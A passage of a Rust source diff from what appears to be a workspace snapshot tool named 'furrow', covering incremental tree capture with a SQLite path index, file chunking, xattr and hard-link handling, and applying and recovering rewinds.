self.open_path_index()?; + let mut last_error = None; + for _ in 0..3 { + index.begin()?; + index.reset()?; + match self.capture_directory_impl(&self.root, &index, policy) { + Ok(id) => { + index.set_root(&id, &self.store_generation()?)?; + index.commit()?; + return Ok(id); + } + Err(error) if is_not_found(&error) => { + index.rollback()?; + last_error = Some(error); + } + Err(error) => { + index.rollback()?; + return Err(error); + } + } + } + Err(last_error + .context("capture retry failed without an error")? + .context("workspace kept changing while it was captured")) + } + + fn capture_changed_paths_retry_with_policy( + &self, + changed_paths: &[PathBuf], + policy: &CapturePolicy, + ) -> anyhow::Result { + let mut index = self.open_path_index()?; + let generation = self.store_generation()?; + if index.root(&generation)?.is_none() { + return self.capture_root_retry_with_policy(policy); + } + + let mut last_error = None; + for _ in 0..3 { + index.begin()?; + match self.capture_changed_paths_impl(&index, changed_paths, policy) { + Ok(id) => { + index.set_root(&id, &generation)?; + index.commit()?; + return Ok(id); + } + Err(error) if is_not_found(&error) => { + index.rollback()?; + last_error = Some(error); + } + Err(error) => { + index.rollback()?; + return Err(error); + } + } + } + Err(last_error + .context("incremental capture retry failed without an error")? + .context("workspace kept changing while its delta was captured")) + } + + fn capture_changed_paths_impl( + &self, + index: &PathIndex, + changed_paths: &[PathBuf], + policy: &CapturePolicy, + ) -> anyhow::Result { + let mut paths = BTreeSet::new(); + for changed in changed_paths { + let absolute = if changed.is_absolute() { + changed.clone() + } else { + self.root.join(changed) + }; + let Some(relative) = self.logical_path(&absolute) else { + continue; + }; + if relative.is_empty() { + index.reset()?; + return self.capture_directory_impl(&self.root, index, policy); + } + if is_identity_path(&relative) { + continue; + } + validate_relative_path(&relative)?; + paths.insert(relative); + } + + let Some(existing_root) = index.root(&self.store_generation()?)? else { + bail!("path index was invalidated during incremental capture") + }; + if paths.is_empty() { + return Ok(existing_root); + } + + let mut dirty_directories = BTreeSet::new(); + for relative in paths { + let linked_before = index.link_identity(&relative)?; + index.remove_subtree(&relative)?; + let absolute = self.physical_path(&relative)?; + if !policy.excludes_bytes(&relative) && fs::symlink_metadata(&absolute).is_ok() { + if let Some(entry) = self.capture_path_entry(&absolute, index, policy)? { + let parent = relative_parent(&relative); + index.upsert(&relative, &parent, &entry)?; + } + } + if self.found_new_link(index, &relative, linked_before)? { + // Making a link changes the directory that holds the new name + // and nothing that names the file's other paths, so they are + // found by looking at the whole tree once. + index.reset()?; + return self.capture_directory_impl(&self.root, index, policy); + } + let mut parent = relative_parent(&relative); + loop { + dirty_directories.insert(parent.clone()); + if parent.is_empty() { + break; + } + parent = relative_parent(&parent); + } + } + + let mut dirty_directories: Vec<_> = dirty_directories.into_iter().collect(); + dirty_directories.sort_by(|left, right| { + path_depth(right) + .cmp(&path_depth(left)) + .then_with(|| right.cmp(left)) + }); + let mut root_tree = existing_root; + for relative in dirty_directories { + if policy.excludes_bytes(&relative) { + index.remove_subtree(&relative)?; + continue; + } + let absolute = self.physical_path(&relative)?; + let metadata = match fs::symlink_metadata(&absolute) { + Ok(metadata) => metadata, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + if !relative.is_empty() { + index.remove_subtree(&relative)?; + } + continue; + } + Err(error) => { + return Err(error) + .with_context(|| format!("stat indexed directory {}", absolute.display())) + } + }; + if !metadata.is_dir() || metadata.file_type().is_symlink() { + continue; + } + let tree_id = self.rebuild_indexed_directory(index, &relative)?; + if relative.is_empty() { + root_tree = tree_id; + } else { + let entry = self.directory_entry(&absolute, tree_id)?; + let parent = relative_parent(&relative); + index.upsert(&relative, &parent, &entry)?; + } + } + Ok(root_tree) + } + + /// True when `relative` was just captured as a file that shares its inode + /// with a path this index has never seen, so the index must be rebuilt to + /// find the paths it shares it with. + fn found_new_link( + &self, + index: &PathIndex, + relative: &[u8], + linked_before: Option<(u64, u64)>, + ) -> anyhow::Result { + Ok(index.link_identity(relative)? != linked_before + && index.link_has_no_known_sibling(relative)?) + } + + fn capture_directory_impl( + &self, + path: &Path, + index: &PathIndex, + policy: &CapturePolicy, + ) -> anyhow::Result { + let relative = self + .logical_path(path) + .context("directory is outside the tree")?; + let mut tree = tree::Builder::new(&self.store); + + for child_name in self.children(path)? { + let child_path = self.child_path(path, &child_name?); + if child_path.starts_with(self.store.root()) { + continue; + } + if child_path == self.root.join(".furrow") { + continue; + } + if child_path == self.root.join(WORKSPACE_FILE) + || child_path == self.root.join(FAMILY_FILE) + || child_path == self.root.join(FORK_FILE) + { + continue; + } + let child_relative = self + .logical_path(&child_path) + .context("child is outside the tree")?; + if policy.excludes_bytes(&child_relative) { + continue; + } + let Some(entry) = self.capture_path_entry(&child_path, index, policy)? else { + continue; + }; + index.upsert(&child_relative, &relative, &entry)?; + tree.push(entry)?; + } + let tree_id = tree.finish()?; + self.store + .cache_directory(&self.workspace_id, &relative, &tree_id)?; + Ok(tree_id) + } + + /// The sorted child names of a directory of the tree; the root's include + /// the overlay's when its directory exists (an absent one is not a tree + /// that changed under the walk, it is an entry that is not there). + fn children( + &self, + path: &Path, + ) -> anyhow::Result>>> { + let names = SortedDirectory::open(path) + .with_context(|| format!("read directory {}", path.display()))?; + Ok(match &self.overlay { + Some(overlay) if path == self.root && overlay.source().is_dir() => { + Box::new(WithOverlay::new(names)) + } + _ => Box::new(names), + }) + } + + fn child_path(&self, directory: &Path, name: &OsStr) -> PathBuf { + match &self.overlay { + Some(overlay) if directory == self.root && name.as_bytes() == overlay::NAME => { + overlay.source().to_owned() + } + _ => directory.join(name), + } + } + + /// The tree-relative path of a place on disk, or None outside the tree. + fn logical_path(&self, path: &Path) -> Option> { + self.overlay + .as_ref() + .and_then(|overlay| overlay.logical(path)) + .or_else(|| { + path.strip_prefix(&self.root) + .ok() + .map(|relative| relative.as_os_str().as_bytes().to_vec()) + }) + } + + /// The place on disk of a tree-relative path. + fn physical_path(&self, relative: &[u8]) -> anyhow::Result { + match self + .overlay + .as_ref() + .and_then(|overlay| overlay.physical(relative)) + { + Some(path) => Ok(path), + None => safe_join(&self.root, relative), + } + } + + fn capture_path_entry( + &self, + path: &Path, + index: &PathIndex, + policy: &CapturePolicy, + ) -> anyhow::Result> { + let metadata = + fs::symlink_metadata(path).with_context(|| format!("stat {}", path.display()))?; + let file_type = metadata.file_type(); + let (secs, nanos) = metadata_time(&metadata); + let relative = self + .logical_path(path) + .context("captured path is outside the tree")?; + let name = relative + .rsplit(|byte| *byte == b'/') + .next() + .context("captured path has no filename")? + .to_vec(); + let mode = metadata.permissions().mode(); + let class = content_class::classify(&relative); + if file_type.is_file() { + index.note_link(&relative, hardlink::identity(&metadata))?; + return self + .capture_file_entry(path, &relative, name, class, &metadata) + .map(Some); + } + let xattrs = if file_type.is_dir() { + self.capture_xattrs(path) + .with_context(|| format!("capture xattrs for {}", path.display()))? + } else { + None + }; + + let entry = if file_type.is_dir() { + let target = self + .capture_directory_impl(path, index, policy) + .with_context(|| format!("capture directory {}", path.display()))?; + TreeEntry { + name, + kind: EntryKind::Directory, + target: Some(target), + link_target: Vec::new(), + mode, + size: 0, + mtime_secs: secs, + mtime_nanos: nanos, + xattrs, + class, + } + } else if file_type.is_symlink() { + TreeEntry { + name, + kind: EntryKind::Symlink, + target: None, + link_target: fs::read_link(path)?.as_os_str().as_bytes().to_vec(), + mode, + size: metadata.len(), + mtime_secs: secs, + mtime_nanos: nanos, + xattrs: None, + class, + } + } else if file_type.is_fifo() { + special_entry(name, EntryKind::Fifo, mode, secs, nanos) + } else if file_type.is_socket() { + special_entry(name, EntryKind::SocketMarker, mode, secs, nanos) + } else { + eprintln!( + "warning: unsupported special file skipped: {}", + path.display() + ); + return Ok(None); + }; + Ok(Some(entry)) + } + + fn directory_entry(&self, path: &Path, target: ObjectId) -> anyhow::Result { + let metadata = fs::symlink_metadata(path)?; + let (mtime_secs, mtime_nanos) = metadata_time(&metadata); + let relative = self + .logical_path(path) + .context("directory is outside the tree")?; + Ok(TreeEntry { + name: relative + .rsplit(|byte| *byte == b'/') + .next() + .context("directory has no filename")? + .to_vec(), + kind: EntryKind::Directory, + target: Some(target), + link_target: Vec::new(), + mode: metadata.permissions().mode(), + size: 0, + mtime_secs, + mtime_nanos, + xattrs: self.capture_xattrs(path)?, + class: content_class::classify(&relative), + }) + } + + fn rebuild_indexed_directory( + &self, + index: &PathIndex, + relative: &[u8], + ) -> anyhow::Result { + let mut tree = tree::Builder::new(&self.store); + let mut after_name: Option> = None; + loop { + let entries = index.children_after(relative, after_name.as_deref(), CHILD_BATCH)?; + if entries.is_empty() { + break; + } + for entry in entries { + after_name = Some(entry.name.clone()); + tree.push(entry)?; + } + } + let tree_id = tree.finish()?; + self.store + .cache_directory(&self.workspace_id, relative, &tree_id)?; + Ok(tree_id) + } + + fn open_path_index(&self) -> anyhow::Result { + PathIndex::open(&self.workspace_data_dir().join("paths.sqlite3")) + } + + fn store_generation(&self) -> anyhow::Result { + Ok(format!( + "{}:tree-entry-class-v1", + fs::read_to_string(self.store.root().join("packs/CURRENT"))?.trim() + )) + } + + fn invalidate_path_index(&self) -> anyhow::Result<()> { + let mut index = self.open_path_index()?; + index.begin()?; + index.reset()?; + index.commit() + } + + /// The tree entry of a regular file. A file whose stat still matches its + /// cache row costs the one stat the caller already made: no open, no read, + /// no xattr calls. + fn capture_file_entry( + &self, + path: &Path, + relative: &[u8], + name: Vec, + class: ContentClass, + metadata: &fs::Metadata, + ) -> anyhow::Result { + let row = match self.unchanged_row(relative, metadata)? { + Some(row) => row, + None => self + .read_file(path) + .with_context(|| format!("capture file {}", path.display())) + .and_then(|read| self.cache_read(relative, read))?, + }; + Ok(file_entry(name, class, &row)) + } + + fn unchanged_row( + &self, + relative: &[u8], + metadata: &fs::Metadata, + ) -> anyhow::Result> { + Ok(self + .store + .cached_file(&self.workspace_id, relative)? + .filter(|row| cached_matches(row, metadata) && !row.is_racy())) + } + + fn cache_read(&self, relative: &[u8], read: FileRead) -> anyhow::Result { + let row = cached_from_read(&read); + self.store.cache_file(&self.workspace_id, relative, &row)?; + Ok(row) + } + + fn capture_file(&self, path: &Path) -> anyhow::Result { + Ok(self.read_file(path)?.blob) + } + + /// Reads a file into the store, retrying while it changes underneath. + fn read_file(&self, path: &Path) -> anyhow::Result { + for _ in 0..3 { + let (secs, nanos) = now(); + let read_at_nanos = secs.saturating_mul(1_000_000_000) + i64::from(nanos); + let file = File::open(path).with_context(|| format!("open {}", path.display()))?; + let before = file + .metadata() + .with_context(|| format!("stat open file {}", path.display()))?; + let xattrs = self.capture_xattrs(path)?; + let chunked = self.store_chunks(file)?; + let after = fs::metadata(path).with_context(|| format!("restat {}", path.display()))?; + if stable_metadata(&before, &after) { + let blob = self.store.put_struct( + ObjectKind::Blob, + &Blob { + chunks: chunked.chunks, + total_len: chunked.total_len, + }, + )?; + return Ok(FileRead { + blob, + xattrs, + sqlite: chunked.sqlite, + stat: after, + read_at_nanos, + }); + } + } + bail!( + "file changed repeatedly while being captured: {}", + path.display() + ) + } + + fn store_chunks(&self, file: File) -> anyhow::Result { + let mut stream = ChunkStream::new(BufReader::with_capacity(256 * 1024, file)); + let mut chunked = Chunked::default(); + while let Some(chunk) = stream.next_chunk()? { + let id = self.store.put_bytes(ObjectKind::Chunk, &chunk)?; + if chunked.chunks.is_empty() { + chunked.sqlite = sqlite_adapter::has_header(&chunk); + } + chunked.total_len += chunk.len() as u64; + chunked.chunks.push(ChunkRef { + id, + len: chunk.len() as u32, + }); + } + Ok(chunked) + } + + fn capture_xattrs(&self, path: &Path) -> anyhow::Result> { + let mut entries = Vec::new(); + match xattr::list(path) { + Ok(names) => { + for name in names.filter(|name| !system_attrs::is_system_managed(name)) { + if let Some(value) = xattr::get(path, &name) + .with_context(|| format!("read xattr {:?} on {}", name, path.display()))? + { + entries.push(XattrEntry { + name: name.as_os_str().as_bytes().to_vec(), + value, + }); + } + } + } + Err(error) if error.kind() == std::io::ErrorKind::PermissionDenied => return Ok(None), + Err(error) => return Err(error.into()), + } + entries.sort_by(|a, b| a.name.cmp(&b.name)); + if entries.is_empty() { + Ok(None) + } else { + Ok(Some( + self.store + .put_struct(ObjectKind::Xattrs, &Xattrs { entries })?, + )) + } + } + + /// The databases of the tree, known from the stat cache rather than by + /// opening every file: a file is recorded as a database when it is read. + fn sqlite_candidates(&self, policy: &CapturePolicy) -> anyhow::Result> { + let mut candidates = Vec::new(); + for relative in self.store.sqlite_paths(&self.workspace_id)? { + let path = self.physical_path(&relative)?; + let present = fs::symlink_metadata(&path).is_ok_and(|metadata| metadata.is_file()); + if present && !policy.excludes_bytes(&relative) { + candidates.push(path); + } + } + Ok(candidates) + } + + fn capture_sqlite_backups(&self, policy: &CapturePolicy) -> anyhow::Result> { + let candidates = self.sqlite_candidates(policy)?; + let mut backups = Vec::new(); + let temp_dir = self.store.root().join("tmp"); + for path in candidates { + match sqlite_adapter::consistent_backup(&path, &temp_dir) { + Ok(backup) => { + let blob = self.capture_file(backup.file.path())?; + let relative = self + .logical_path(&path) + .context("database is outside the tree")?; + backups.push(SqliteBackup { + path: relative, + blob, + integrity_ok: backup.integrity_ok, + }); + } + Err(error) => { + eprintln!( + "warning: SQLite consistent backup unavailable for {}: {error:#}; raw bytes remain protected", + path.display() + ); + } + } + } + backups.sort_by(|a, b| a.path.cmp(&b.path)); + Ok(backups) + } + + fn restore_sqlite_backups( + &self, + backups: &[SqliteBackup], + selected_paths: &[PathBuf], + ) -> anyhow::Result<()> { + for backup in backups { + if !selected(&backup.path, selected_paths) { + continue; + } + anyhow::ensure!( + backup.integrity_ok, + "refusing a SQLite backup that failed integrity_check" + ); + let destination = safe_join(&self.root, &backup.path)?; + let entry = TreeEntry { + name: destination + .file_name() + .context("SQLite path has no filename")? + .as_bytes() + .to_vec(), + kind: EntryKind::File, + target: Some(backup.blob), + link_target: Vec::new(), + mode: 0o100600, + size: 0, + mtime_secs: now().0, + mtime_nanos: 0, + xattrs: None, + class: crate::content_class::ContentClass::Database, + }; + self.restore_file(&destination, &entry)?; + let path_bytes = destination.as_os_str().as_bytes(); + for suffix in [b"-wal".as_slice(), b"-shm".as_slice()] { + let mut sidecar = path_bytes.to_vec(); + sidecar.extend_from_slice(suffix); + let sidecar = PathBuf::from(OsString::from_vec(sidecar)); + if sidecar.exists() { + fs::remove_file(sidecar)?; + } + } + } + Ok(()) + } + + fn flatten_tree(&self, root: &ObjectId) -> anyhow::Result, FlatEntry>> { + let mut result = BTreeMap::new(); + self.flatten_into(root, Vec::new(), &mut result)?; + Ok(result) + } + + fn diff_directory( + &self, + before: Option, + after: Option, + prefix: Vec, + selections: &[PathBuf], + changes: &mut Vec, + ) -> anyhow::Result<()> { + match (before, after) { + (Some(before), Some(after)) => { + tree::diff_entries(&self.store, &before, &after, &mut |before, after| { + self.record_tree_difference(before, after, &prefix, selections, changes) + }) + } + (Some(before), None) => tree::for_each_entry(&self.store, &before, |entry| { + self.record_tree_difference(Some(entry), None, &prefix, selections, changes) + }), + (None, Some(after)) => tree::for_each_entry(&self.store, &after, |entry| { + self.record_tree_difference(None, Some(entry), &prefix, selections, changes) + }), + (None, None) => Ok(()), + } + } + + fn record_tree_difference( + &self, + before: Option, + after: Option, + prefix: &[u8], + selections: &[PathBuf], + changes: &mut Vec, + ) -> anyhow::Result<()> { + let name = before + .as_ref() + .or(after.as_ref()) + .context("tree difference has no entry")? + .name + .clone(); + validate_name(&name)?; + let mut path = prefix.to_vec(); + if !path.is_empty() { + path.push(b'/'); + } + path.extend_from_slice(&name); + + if selected(&path, selections) { + changes.push(RewindChange { + path: display_relative(&path), + action: match (&before, &after) { + (None, Some(_)) => "restore", + (Some(_), None) => "remove", + (Some(_), Some(_)) => "replace", + (None, None) => unreachable!(), + }, + raw_path: path.clone(), + }); + } + + if subtree_intersects(&path, selections) { + let before_tree = before + .as_ref() + .filter(|entry| entry.kind == EntryKind::Directory) + .and_then(|entry| entry.target); + let after_tree = after + .as_ref() + .filter(|entry| entry.kind == EntryKind::Directory) + .and_then(|entry| entry.target); + if before_tree.is_some() || after_tree.is_some() { + self.diff_directory(before_tree, after_tree, path, selections, changes)?; + } + } + Ok(()) + } + + fn entries_for_plan( + &self, + root: &ObjectId, + plan: &RewindPlan, + ) -> anyhow::Result, FlatEntry>> { + let _section = self.store.acquire_maintenance_shared()?; + let mut entries = BTreeMap::new(); + for change in &plan.changes { + if change.action == "remove" { + continue; + } + let entry = self + .lookup_tree_path(root, &change.raw_path)? + .with_context(|| format!("target snapshot is missing {}", change.path))?; + entries.insert(change.raw_path.clone(), FlatEntry { entry }); + } + Ok(entries) + } + + fn entries_for_changed_paths( + &self, + root: &ObjectId, + plan: &RewindPlan, + ) -> anyhow::Result, FlatEntry>> { + let _section = self.store.acquire_maintenance_shared()?; + let mut entries = BTreeMap::new(); + for change in &plan.changes { + if let Some(entry) = self.lookup_tree_path(root, &change.raw_path)? { + entries.insert(change.raw_path.clone(), FlatEntry { entry }); + } + } + Ok(entries) + } + + fn verify_plan_state( + &self, + root: &Path, + expected: &BTreeMap, FlatEntry>, + plan: &RewindPlan, + selected_paths: &[PathBuf], + ) -> anyhow::Result<()> { + for change in &plan.changes { + if change.raw_path == b".furrow" || is_identity_path(&change.raw_path) { + continue; + } + if !selected(&change.raw_path, selected_paths) { + continue; + } + let path = safe_join(root, &change.raw_path)?; + ensure_safe_parent(root, &path)?; + let matches = match expected.get(&change.raw_path) { + Some(flat) => self.path_matches_entry(&path, &flat.entry)?, + None => fs::symlink_metadata(&path).is_err_and(|error| { + error.kind() == std::io::ErrorKind::NotFound + || error.raw_os_error() == Some(libc::ENOTDIR) + }), + }; + anyhow::ensure!( + matches, + "workspace path changed during rewind: {}", + change.path + ); + } + Ok(()) + } + + fn path_matches_entry(&self, path: &Path, entry: &TreeEntry) -> anyhow::Result { + let metadata = match fs::symlink_metadata(path) { + Ok(metadata) => metadata, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(false), + Err(error) => return Err(error.into()), + }; + let file_type = metadata.file_type(); + let kind_matches = match entry.kind { + EntryKind::File => file_type.is_file(), + EntryKind::Directory => file_type.is_dir() && !file_type.is_symlink(), + EntryKind::Symlink => file_type.is_symlink(), + EntryKind::Fifo => file_type.is_fifo(), + EntryKind::SocketMarker => return Ok(true), + }; + if !kind_matches { + return Ok(false); + } + if entry.kind == EntryKind::Symlink { + return Ok(fs::read_link(path)?.as_os_str().as_bytes() == entry.link_target); + } + if metadata.permissions().mode() != entry.mode + || metadata.mtime() != entry.mtime_secs + || metadata.mtime_nsec().max(0) as u32 != entry.mtime_nanos + { + return Ok(false); + } + if entry.kind == EntryKind::File { + if metadata.len() != entry.size { + return Ok(false); + } + let blob = self.capture_file(path)?; + if Some(blob) != entry.target { + return Ok(false); + } + } + if matches!(entry.kind, EntryKind::File | EntryKind::Directory) + && !self.xattrs_match_best_effort(path, entry.xattrs)? + { + return Ok(false); + } + Ok(true) + } + + fn xattrs_match_best_effort( + &self, + path: &Path, + expected: Option, + ) -> anyhow::Result { + let Some(expected) = expected else { + return Ok(true); + }; + let expected: Xattrs = self.store.read_struct(&expected, ObjectKind::Xattrs)?; + for entry in restorable_xattrs(expected.entries) { + let name = OsStr::from_bytes(&entry.name); + let actual = match xattr::get(path, name) { + Ok(actual) => actual, + Err(error) + if matches!( + error.kind(), + std::io::ErrorKind::PermissionDenied | std::io::ErrorKind::Unsupported + ) || error.raw_os_error() == Some(libc::ENOTSUP) => + { + continue + } + Err(error) => return Err(error.into()), + }; + if actual.as_deref() == Some(entry.value.as_slice()) { + continue; + } + match xattr::set(path, name, &entry.value) { + Ok(()) => {} + Err(error) + if matches!( + error.kind(), + std::io::ErrorKind::PermissionDenied | std::io::ErrorKind::Unsupported + ) || error.raw_os_error() == Some(libc::ENOTSUP) => {} + Err(error) => return Err(error.into()), + } + } + Ok(true) + } + + fn lookup_tree_path(&self, root: &ObjectId, path: &[u8]) -> anyhow::Result> { + let mut tree_id = *root; + let mut components = path.split(|byte| *byte == b'/').peekable(); + while let Some(name) = components.next() { + validate_name(name)?; + let Some(entry) = tree::find_entry(&self.store, &tree_id, name)? else { + return Ok(None); + }; + if components.peek().is_none() { + return Ok(Some(entry)); + } + if entry.kind != EntryKind::Directory { + return Ok(None); + } + tree_id = entry.target.context("directory missing tree ID")?; + } + Ok(None) + } + + fn flatten_into( + &self, + tree_id: &ObjectId, + prefix: Vec, + output: &mut BTreeMap, FlatEntry>, + ) -> anyhow::Result<()> { + tree::for_each_entry(&self.store, tree_id, |entry| { + validate_name(&entry.name)?; + let mut path = prefix.clone(); + if !path.is_empty() { + path.push(b'/'); + } + path.extend_from_slice(&entry.name); + output.insert( + path.clone(), + FlatEntry { + entry: entry.clone(), + }, + ); + if entry.kind == EntryKind::Directory { + self.flatten_into( + &entry.target.context("directory missing tree ID")?, + path, + output, + )?; + } + Ok(()) + }) + } + + fn apply_plan_at( + &self, + root: &Path, + target: &BTreeMap, FlatEntry>, + plan: &RewindPlan, + selected_paths: &[PathBuf], + ) -> anyhow::Result<()> { + self.apply_plan_with(root, target, plan, selected_paths, None) + } + + /// [`Self::apply_plan_at`] that also puts back the hard links `snapshot` + /// recorded, so a restored folder keeps one file where the sealed one had + /// one. + fn apply_plan_with_links( + &self, + root: &Path, + target: &BTreeMap, FlatEntry>, + plan: &RewindPlan, + selected_paths: &[PathBuf], + snapshot: &Snapshot, + ) -> anyhow::Result<()> { + self.apply_plan_with(root, target, plan, selected_paths, Some(snapshot)) + } + + fn apply_plan_with( + &self, + root: &Path, + target: &BTreeMap, FlatEntry>, + plan: &RewindPlan, + selected_paths: &[PathBuf], + links: Option<&Snapshot>, + ) -> anyhow::Result<()> { + self.apply_plan_at_with_file_sync( + root, + target, + plan, + selected_paths, + ApplyMode { + sync_each_file: false, + links, + }, + |_| Ok(()), + )?; + // One durability step for the whole batch instead of one per file: the + // caller clears the restore intent only after this returns. + applied_writes(root, target, plan)?.make_durable()?; + Ok(()) + } + + /// Links the members of each recorded group to one another. It runs before + /// directory modes are applied, while a read-only directory is still + /// writable, and it only ever links paths of `snapshot` to one another. + fn restore_links( + &self, + root: &Path, + snapshot: &Snapshot, + selected_paths: &[PathBuf], + ) -> anyhow::Result<()> { + let unlinked = hardlink::restore(&snapshot.hardlinks, |path| { + self.intact_member(root, snapshot, path, selected_paths) + })?; + if !unlinked.is_empty() { + eprintln!( + "warning: {} path(s) were hard links when sealed and stay separate copies here \ + because this file system refused the link, first: {}", + unlinked.len(), + display_relative(&unlinked[0]) + ); + } + Ok(()) + } + + /// The place on disk of a group member that is selected and is still the + /// regular file its entry in `snapshot` describes (by mode, size and time, + /// which a restore sets), or None. + fn intact_member( + &self, + root: &Path, + snapshot: &Snapshot, + path: &[u8], + selected_paths: &[PathBuf], + ) -> anyhow::Result> { + if !selected(path, selected_paths) { + return Ok(None); + } + let place = safe_join(root, path)?; + let Some(entry) = self + .lookup_tree_path(&snapshot.root_tree, path)? + .filter(|entry| entry.kind == EntryKind::File) + else { + return Ok(None); + }; + Ok(match fs::symlink_metadata(&place) { + Ok(metadata) if stat_matches_entry(&metadata, &entry) => Some(place), + _ => None, + }) + } + + /// Materialize `plan` at `root`. `before_file` runs immediately before each + /// regular file is written, letting a streaming pull fetch that file's + /// blob/chunk subgraph on demand so checkout can proceed while the transfer + /// is still in flight. Non-streaming callers pass a no-op. + fn apply_plan_at_with_file_sync( + &self, + root: &Path, + target: &BTreeMap, FlatEntry>, + plan: &RewindPlan, + selected_paths: &[PathBuf], + mode: ApplyMode<'_>, + mut before_file: impl FnMut(&TreeEntry) -> anyhow::Result<()>, + ) -> anyhow::Result<()> { + let mut applied_operations = 0_usize; + let changed: BTreeSet> = plan + .changes + .iter() + .map(|change| change.raw_path.clone()) + .collect(); + + // Directories must exist before files are written. + for (path, flat) in target { + if !changed.contains(path) + || !selected(path, selected_paths) + || flat.entry.kind != EntryKind::Directory + { + continue; + } + let destination = safe_join(root, path)?; + ensure_safe_parent(root, &destination)?; + if let Ok(metadata) = destination.symlink_metadata() { + if !metadata.file_type().is_dir() || metadata.file_type().is_symlink() { + remove_path(&destination)?; + } + } + prepare_directory(&destination, &flat.entry)?; + } + + for (path, flat) in target { + if !changed.contains(path) + || !selected(path, selected_paths) + || flat.entry.kind == EntryKind::Directory + { + continue; + } + let destination = safe_join(root, path)?; + ensure_safe_parent(root, &destination)?; + if let Some(parent) = destination.parent() { + fs::create_dir_all(parent)?; + } + let must_remove = destination + .symlink_metadata() + .map(|metadata| { + metadata.is_dir() + || flat.entry.kind != EntryKind::File + || metadata.file_type().is_symlink() + }) + .unwrap_or(false); + if must_remove { + remove_path(&destination)?; + } + match flat.entry.kind { + EntryKind::File => { + before_file(&flat.entry)?; + self.restore_file_with_sync(&destination, &flat.entry, mode.sync_each_file)? + } + EntryKind::Symlink => { + std::os::unix::fs::symlink( + OsString::from_vec(flat.entry.link_target.clone()), + &destination, + )?; + let mtime = + FileTime::from_unix_time(flat.entry.mtime_secs, flat.entry.mtime_nanos); + filetime::set_symlink_file_times(&destination, mtime, mtime)?; + } + EntryKind::Fifo => { + let cpath = std::ffi::CString::new(destination.as_os_str().as_bytes())?; + let result = + unsafe { libc::mkfifo(cpath.as_ptr(), flat.entry.mode as libc::mode_t) }; + if result != 0 { + return Err(std::io::Error::last_os_error().into()); + } + } + EntryKind::SocketMarker => {} + EntryKind::Directory => unreachable!(), + } + applied_operations += 1; + if applied_operations == 1 { + match std::env::var_os("FURROW_FAILPOINT").as_deref() { + Some(value) if value == OsStr::new("rewind_after_first_change") => { + std::process::exit(86) + } + // Simulate a process killed mid-stream: the first file is + // durable but the transfer is abandoned before adoption. + Some(value) if value == OsStr::new("pull_after_first_file") => { + std::process::exit(87) + } + _ => {} + } + } + } + + // Remove paths absent from the target, deepest first. + let mut removals: Vec<_> = plan + .changes + .iter() + .filter(|change| change.action == "remove") + .map(|change| change.raw_path.clone()) + .collect(); + removals.sort_by_key(|path| std::cmp::Reverse(path.len())); + for path in removals { + if selected(&path, selected_paths) { + let destination = safe_join(root, &path)?; + ensure_safe_parent(root, &destination)?; + if destination.symlink_metadata().is_ok() { + remove_path(&destination)?; + } + } + } + + if let Some(snapshot) = mode.links { + self.restore_links(root, snapshot, selected_paths)?; + } + + // Apply directory modes and mtimes after child operations, deepest + // first: a read-only directory (mode 0555) is filled while it is still + // writable, and writing a child must not overwrite the captured + // timestamp. + for (path, flat) in target.iter().rev() { + if !changed.contains(path) + || !selected(path, selected_paths) + || flat.entry.kind != EntryKind::Directory + { + continue; + } + finish_directory(&safe_join(root, path)?, &flat.entry)?; + } + Ok(()) + } + + fn restore_file(&self, destination: &Path, entry: &TreeEntry) -> anyhow::Result<()> { + self.restore_file_with_sync(destination, entry, true) + } + + fn restore_file_with_sync( + &self, + destination: &Path, + entry: &TreeEntry, + sync_file: bool, + ) -> anyhow::Result<()> { + let blob: Blob = self.store.read_struct( + &entry.target.context("file missing blob ID")?, + ObjectKind::Blob, + )?; + let parent = destination.parent().context("file has no parent")?; + let mut temp = tempfile::NamedTempFile::new_in(parent)?; + for chunk in blob.chunks { + let bytes = self.store.read_bytes(&chunk.id, ObjectKind::Chunk)?; + anyhow::ensure!(bytes.len() == chunk.len as usize, "chunk length mismatch"); + temp.write_all(&bytes)?; + } + if sync_file { + temp.as_file().sync_all()?; + } + fs::set_permissions(temp.path(), fs::Permissions::from_mode(entry.mode))?; + if let Some(xattrs_id) = entry.xattrs { + let xattrs: Xattrs = self.store.read_struct(&xattrs_id, ObjectKind::Xattrs)?; + for xattr in restorable_xattrs(xattrs.entries) { + match xattr::set(temp.path(), OsStr::from_bytes(&xattr.name), &xattr.value) { + Ok(()) => {} + Err(error) + if matches!( + error.kind(), + std::io::ErrorKind::PermissionDenied | std::io::ErrorKind::Unsupported + ) || error.raw_os_error() == Some(libc::ENOTSUP) => {} + Err(error) => return Err(error.into()), + } + } + } + temp.persist(destination).map_err(|error| error.error)?; + let mtime = FileTime::from_unix_time(entry.mtime_secs, entry.mtime_nanos); + filetime::set_file_mtime(destination, mtime)?; + Ok(()) + } + + fn acquire_mutation_lock(&self) -> anyhow::Result { + let path = self + .store + .workspace_data_dir(&self.workspace_id) + .join("mutation.lock"); + let file = fs::OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(path)?; + file.lock_exclusive()?; + Ok(file) + } + + fn restore_intent_path(&self) -> PathBuf { + self.store + .workspace_data_dir(&self.workspace_id) + .join("restore.intent") + } + + fn write_restore_intent(&self, intent: &RestoreIntent) -> anyhow::Result<()> { + let path = self.restore_intent_path(); + atomic_write(&path, &serde_json::to_vec(intent)?)?; + File::open(path.parent().context("restore intent has no parent")?)?.sync_all()?; + Ok(()) + } + + fn clear_restore_intent(&self) -> anyhow::Result<()> { + let path = self.restore_intent_path(); + if path.exists() { + fs::remove_file(&path)?; + File::open(path.parent().context("restore intent has no parent")?)?.sync_all()?; + } + Ok(()) + } + + fn recover_interrupted_rewind(&self) -> anyhow::Result<()> { + let path = self.restore_intent_path(); + if !path.exists() { + return Ok(()); + } + let lock = self.acquire_mutation_lock()?; + let intent: RestoreIntent = serde_json::from_slice(&fs::read(&path)?)?; + eprintln!( + "furrow: recovering interrupted rewind; restoring pre-rewind snapshot {}", + &id_hex(&intent.pre_snapshot)[..12] + ); + let snapshot: Snapshot = self + .store + .read_struct(&intent.pre_snapshot, ObjectKind::Snapshot)?; + let paths: Vec = intent + .paths + .into_iter() + .map(|path| PathBuf::from(OsString::from_vec(path))) + .collect(); + let plan = self.plan_rewind(&intent.pre_snapshot, &paths)?; + let entries = self.entries_for_plan(&snapshot.root_tree, &plan)?; + self.apply_plan_at(&self.root, &entries, &plan, &paths)?; + self.invalidate_path_index()?; + self.clear_restore_intent()?; + FileExt::unlock(&lock)?; + 